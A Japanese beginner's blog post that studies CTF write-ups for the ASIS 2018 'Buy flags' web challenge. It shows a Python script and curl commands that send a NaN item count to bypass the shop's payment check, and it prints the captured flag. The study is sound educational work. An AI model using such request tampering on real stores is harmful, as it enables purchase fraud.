writeupスタディーです。
人様が公開しているCTFのwriteupを読んで勉強しよう、そしてその内容を記録しておこうというエントリです。
私自身CTFは初級者レベルなので、アウトプットを通じて理解を深めたいというのが目的です。あと初心者が書くものなので、ある意味ほかの初心者の方もわかりやすくなる部分があるのではないかと思います。
問題概要
CTF:ASIS CTF Quals 2018
問題:Buy flags
分野:Web
writeupページ:CTFtime.org / ASIS CTF Quals 2018 / Buy flags
Welcome問題を解いたチームが725チームで、この問題を解けたチームが62チームなので簡単な問題ではないです。まぁまぁ闘えるレベルになりたいと思ったら解けないといけないレベルの問題ではあります。
まず問題の全体像を抑える。
シンプルなECサイトの画面です。フラグが販売されているので、何とかして正しいフラグ(右のASIS Flag)を購入する問題のようです。但し画面右上のcreditは0なので、単純に「ASIS Flag」にチェックを入れて「pay」してもお金が足りなくて買えません。これを何とかしてみなというのが問題の主旨ですね。
最初のアプローチ
まずざっくりとやってみたことは、
①とりあえず適当にポチポチ動かす
②ソースを見る
ソースには以下のスクリプトが埋め込まれていた。
<script> $(document).ready(function() { $('#pay').click(function() { var coupon = btoa($('#coupon').val()); var flags = ['fake1', 'fake2', 'asis']; var card = []; for (var i in flags) { if ($('#' + flags[i]).is(":checked")) { card.push({name:flags[i], count:1}); } } $.ajax({ type: 'POST', url :'/pay', data: JSON.stringify({card: card, coupon: coupon}), contentType: 'application/json', success: function(result) { alert(result.result); } }) }); }) </script>
ざーっくり解釈すると、
・クーポンをbase64エンコードする
・チェックしたカードの名前とカウント1をカードリストに追加
・json形式でポスト
ポストデータは{card:[{name:フラグ名, count:1}],coupon:base64したクーポン文字列
チェックしたカードの数だけcardがリストで作られる
クーポンの値をaaa(base64でYWFh)にした場合はこんな感じのデータがポストされる
{"card":[{"name":"asis","count":1}],"coupon":"YWFh"}
③リクエストの詳細を覗いてみる
リクエストの内容を覗いてみると、session管理のクッキーを投げていることが判明
例えばこんな値
session:eyJjb3Vwb25zIjpbXSwiY3JlZGl0IjowfQ.DcsIvg.6KK32T79Rc8N6SuGAdGlov_WALg
base64ぽいのでデコードしてみると、こんな値だった
{"coupons":[],"credit":0}\x00\xdc\xb0\x8b\xe0\xe8\xa2\xb7\xd9>\xfdE\xcf\r\xe9+\x86\x01\xd1\xa5\xa2\xf5\x80.
後半部分は不明だけど、クーポンとクレジットの値をクッキーに入れてる。
私が開催中にやっていたアプローチ
開催期間中にチャレンジしていた私のアプローチ
①クッキーのcredit値を何とかして誤魔化す
②正規のクーポンを探す
クッキーは偽装するとサーバエラーが返ってくる仕様っぽかった。ぶっちゃけ書きますと上手くクッキー偽装が出来ているのか、また狙い通りのリクエストが投げられているのかわからなくて、疑心暗鬼になって変に拘ってしまってました。
あとクッキー偽装がフラグを取得する正しい道なのか、迷いながらチャレンジしていました。
「もしかして正しいクーポンをどこかから探す問題なんじゃないかしら」と考えてしまうと、やっぱりクーポン探しが正しい道なんじゃないか、いやいやちゃんと礼儀正しくリクエスト投げれていないだけなんじゃないか、とフラフラしてしまった。
まぁいつものことだけど。
writeupスタディー
writeupを眺めていると、POSTリクエストのJSONデータ改竄が正解でした。 問題画面のASIS FLAGにチェック、クーポン入力欄に「aaa」と入れて「pay」すると以下のデータがPOSTされます。
{"card":[{"name":"asis","count":1}],"coupon":"YWFh"}
このカウント値を改竄してサーバサイドの入力チェックを回避するというのが具体的な手法になります。
現時点で4つのwriteupがCTFtimeで公開されていますが、3つがNull的な値への改竄、1つが極小の値への改竄でした。
具体的にwriteupの詳細を見てみると、いくつかのチームはソースコードを見つけています。もう公開されていないですが、こんなURL。
http://46.101.173.61/image?name=app.py
ここにアクセスするとソースコードが見れます。 ただどうやったらこのURLにたどり着けるかがwriteup文中に無く今でもわからない。
Null値への改ざんで解いているチームのwriteupを見ていると、Noneではだめらしい。
確かにNoneを送信すると、ステータス500のInternal Server Errorで返ってきた。
これもどこで弾かれているのかよくわからない。
正解はNaNで送信するとのこと。
仕組みが理解しきれていないもどかしさはありますが、とりあえずやってみた。
一番簡単なのはローカルプロキシを使ったリクエストの改竄ですか。
これがBurpで止めたパケット。
これをこう改竄。
すると、このようなレスポンスでフラグが取れた。
やっぱりスクリプトでやりたいよね、って思ってPython3でやってみた。
payloadを定義するときにnanを""でくくると文字列になってしまうので、うまく通らない。逆にくくらないと「そんな文字列定義されてねー」とPythonに怒られる。
試行錯誤した結果、numpyのnanで指定するとうまくいった。
import requests import json import numpy url='http://46.101.173.61/' urlpay=url+'pay' headers={'Content-Type': 'application/json'} payload={"card":[{"name":"asis","count":numpy.nan}],"coupon":"YWFh"} s=requests.Session() s.get(url) r=s.post(urlpay,headers=headers,data=json.dumps(payload)) print(r.text) # { # "data": [ # { # "data": "ASIS{th1@n_3xpens1ve_Fl@G}\n", # "flag": "asis" # } # ], # "result": "pay success" # }
writeupの中にはcurlでやったというのもあったので、これも実際に動かしてやってみた。
> curl -c cookiejar http://46.101.173.61/ > curl -X POST -H "Content-Type: application/json" -d "{\"card\":[{\"name\":\"asis\",\"count\":NaN}],\"coupon\":\"YWFh\"}" -b cookiejar http://46.101.173.61/pay ↓ { "data": [ { "data": "ASIS{th1@n_3xpens1ve_Fl@G}\n", "flag": "asis" } ], "result": "pay success" }
JSONデータを指定するところでエスケープ処理が必要なことに気付かなくて苦戦しましたが、無事カールおじさんでもフラグは取れました。
cURLはオプション指定すぐ忘れるから普段使ってなかったんですが、Chromeを使うと簡単にコマンドを作れるらしい。知らんかった。
ChromeのHTTPリクエストから簡単にcURLを作成する方法 | ハックノート
まとめ・所感
writeupスタディーを通しての気づき、まとめなど。
・なぜソースコードのURLを特定できるのかは不明 (Flaskに関係する?)
・何でNoneじゃだめなのよ
・Burp、Python、cURLでとりあえずフラグは取れた(writeupを見ながら)
・Pythonのrequests.Sessionが便利と知れた
・初めてcURLでフラグとれた(Python派。初心者なので派とかないですけど)
・null系をPOSTする問題って前にもあったなぁ
writeupスタディーと言いながら、不明点が残っているのはダサいですが、まぁおいおい・・・ね。
とりあえずwriteupを見ながら動かしてみたので、今回はそれでOKとします。
おわり。